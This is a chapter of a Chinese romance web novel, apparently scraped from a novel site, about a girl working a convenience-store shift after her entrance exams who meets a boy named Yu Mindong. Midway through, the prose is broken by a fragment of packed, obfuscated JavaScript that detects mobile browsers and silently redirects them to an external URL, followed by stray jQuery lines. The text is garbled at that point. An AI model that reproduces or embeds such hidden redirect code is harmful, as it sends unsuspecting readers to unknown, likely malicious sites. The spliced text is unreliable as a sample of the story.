他像冬天里的一盏灯。
《冬灯》/柚贝
2025.03.05
下午六点钟，送货的车才到。
宓雨一个人整理货架到八点，卢雅忽然走到了她的身后。
察觉到有人拍了拍她的肩膀，宓雨这才停下手里的动作，缓缓转过身来。
卢雅笑着看她：“你去前面收银好不好？我想去一下洗手间。”
店里只有两个人，一人离开，另一人势必要去顶上她原本的位置。
宓雨没有任何反驳的理由，只是面无表情地点了点头，说了声好。
她将最后几包零食放在货架最上端，躬身抱起微微变形了的纸板箱，放在崭新的拉杆车上。刚直起身时脚下却微微踉跄，几秒钟后，她才克服了长时间劳作的眩晕感，拉着拉杆车向前。
玻璃门窗外，霓虹透过树木枝桠，在石板路上落下五彩斑驳的光斑，更远处路灯明亮，车辆一闪而过。
宓雨把货物推到储物间，在收银台前的位置坐下。耳间塞着的白色耳机里，放着古老悠扬的英文歌曲，她低垂着脑袋，认认真真看着今天下午的营业额。
灯光下的她，十分惹眼。身材清瘦且高，白皙瓷净的皮肤，明媚清秀的长相，唯独气质是高冷的。
今天是她在这件便利店兼职的第三天，也是她高考结束后的第五天。
这家便利店的老板是宓雨小姨夫的朋友，因为这层关系，又因为恰巧某位员工出了意外，脚部骨折需要休养三个月，她才有此次兼职赚钱的机会。
便利店早晨八点开门，晚上十点打烊。宓雨这几天上的都是晚班，下午三点开始，晚上十点结束。
说实在的，这对于她来说，并不算累。
不过中午上班那会儿，正是一天之中最为燥热的时候。她一路从家里走来，出了一身汗，白皙皮肤也变了成了粉嫩的红色。
幸好店里冷气打得足。
半个小时后，卢雅才姗姗来迟。
她不紧不慢地看了一眼宓雨，见对方安安静静的神态之下并没有一丝要让开的意思，只好百无聊赖地在店里转了一圈，查看有什么不妥。
最近这几天，她一直在帮忙纠正宓雨的错误。
但是，宓雨做事认真且专心，细微末节她都能注意得到，基本上已经叫人挑不出问题来。
卢雅停下了脚步，抬头看了眼钟表，已经快九点了。
她问宓雨：“你才高考完没几天，这么着急上班呀？”
宓雨低声道：“闲着也是闲着。”
“那你成绩好不好？”卢雅好奇又期待地看着她。
宓雨觉得，卢雅没有高考过，对她好奇是正常的。但对方的语气和眼神，让她并不能确定对方听到的答案是好还是不好。
“一般。”她说。
“一般是什么情况？”卢雅又问，“在班里第几名？”
宓雨说：“前三。”
“那你学习很好呀，这还叫一般吗。”卢雅看着她，忽然感慨道，“真羡慕你们这些学习好的人，怎么学习好的都长得这么好看？”
都。
宓雨敏锐地捕捉到这个字眼，她不着边际地想：除了她还有谁？亦或是说，除了她，卢雅还知道谁学习好又长得好看？
宓雨没说话，抿了抿唇。一来觉得自己多管闲事，而来又觉得自己有一点儿不够谦虚。
夏日的夜，燥热而萌动。卢雅再开口时，神色忽然变得不一样。
“宓雨。”
宓雨眨了眨眼睛，长睫扑扇着，恬静地看着她。
“你认不认识一个人？”卢雅说，“就是每天晚上，都来这里买东西的一个男生。”
每天晚上，都来这里买东西。
宓雨脑海中浮现出一张脸，不，确切来说，是一道身影。
他穿着一件无袖连帽黑色T恤，进门的时候，带来一阵凉爽的风。那是宓雨兼职的第一晚，雨夜中皆是撑伞快速走过的行人，唯独他，用黑色帽檐遮掩浓密的碎发，可那抹黑发仍是湿了，虚虚掩在一双深邃如同黑曜石般眼眸之上。
他单手插着兜，沿着中间货架向里面走，最后停下脚步，拿了一瓶百岁山矿泉水。
宓雨当然知道他。
但她鬼使神差道：“不认识。”
“哦，好吧。”卢雅说，“他好像和你不一个学校，但是听说，他成绩不错。”
宓雨轻声说：“你怎么知道？”
卢雅转头看她：“之前他和他同学一起来，我听到的。”
宓雨记得那个男生的长相，他长得确实很好看。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501446|170361||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>但她对他并无半分了解，得知他成绩不错的消息，说实在的，有点儿诧异。
这种想法只在她脑海中存在了一瞬间，有顾客从门外进来，她和卢雅停止了对话，各司其职。
九点一刻，卢雅接替了宓雨的位置。宓雨走到储藏间，准备把剩下的货一起补到货架上。
她推着拉杆车，再次走到货架前。
这箱零食的位置在货架最上方，宓雨身高有一米六八，但这货架实在够高，矮凳被卢雅拿到收银台里面，她只好踮着脚尖，一包一包摆放上去。
与此同时，便利店的门被推开。
宓雨专心致志工作，没注意到周遭事物的变化，直到——
少年干净修长的手指映入眼帘，替她将东西放平，摆正。
宓雨慢慢睁大了眼睛，鼻息间闻到一股好闻的薄荷香。
她忽然想起一个人，也是用这样一只手，递给了她冰凉的百岁山。
她骤然转过身，猝不及防看见他削瘦的下颌线下凸起的喉结。
下一秒，他低垂下眸来。
四目相对。
呼吸好似咫尺之间。
或许是一直如此，也或许是他也被她鲁莽的行事吓到了，他的声音又低又沉：“小心。”
宓雨呼吸一滞，连感谢的话都忘记说出口。
他撤离身体，自然而然与她拉远距离。
不远不近的距离，宓雨看他看得更清了。
他低垂着眼眸，看向矿泉水的方向。双眼皮的褶皱很深，脸颊和脖颈的皮肤白到让人感到疏离感。
他从货架上拿了一瓶水，正要转身离开。
忽然从门口传来一道声音——
“珉冬，给我带瓶水。”
他脚步一顿，没说好，也没说不好，忽而再次转身。
一瓶矿泉水在灯光下泛着蓝色纯净的光泽，停在他胸膛前一拳的位置。
宓雨拿着那瓶水，递在他面前，轻声说：“给。”
他轻勾着唇角，接过：“谢谢。”
宓雨：“不客气。”
窗外有刹车灯光闪过。
空调风透着微微凉意。
宓雨转过身，余光里看见那道黑色的身影，越走越远。
原来他叫珉冬。
喻珉冬。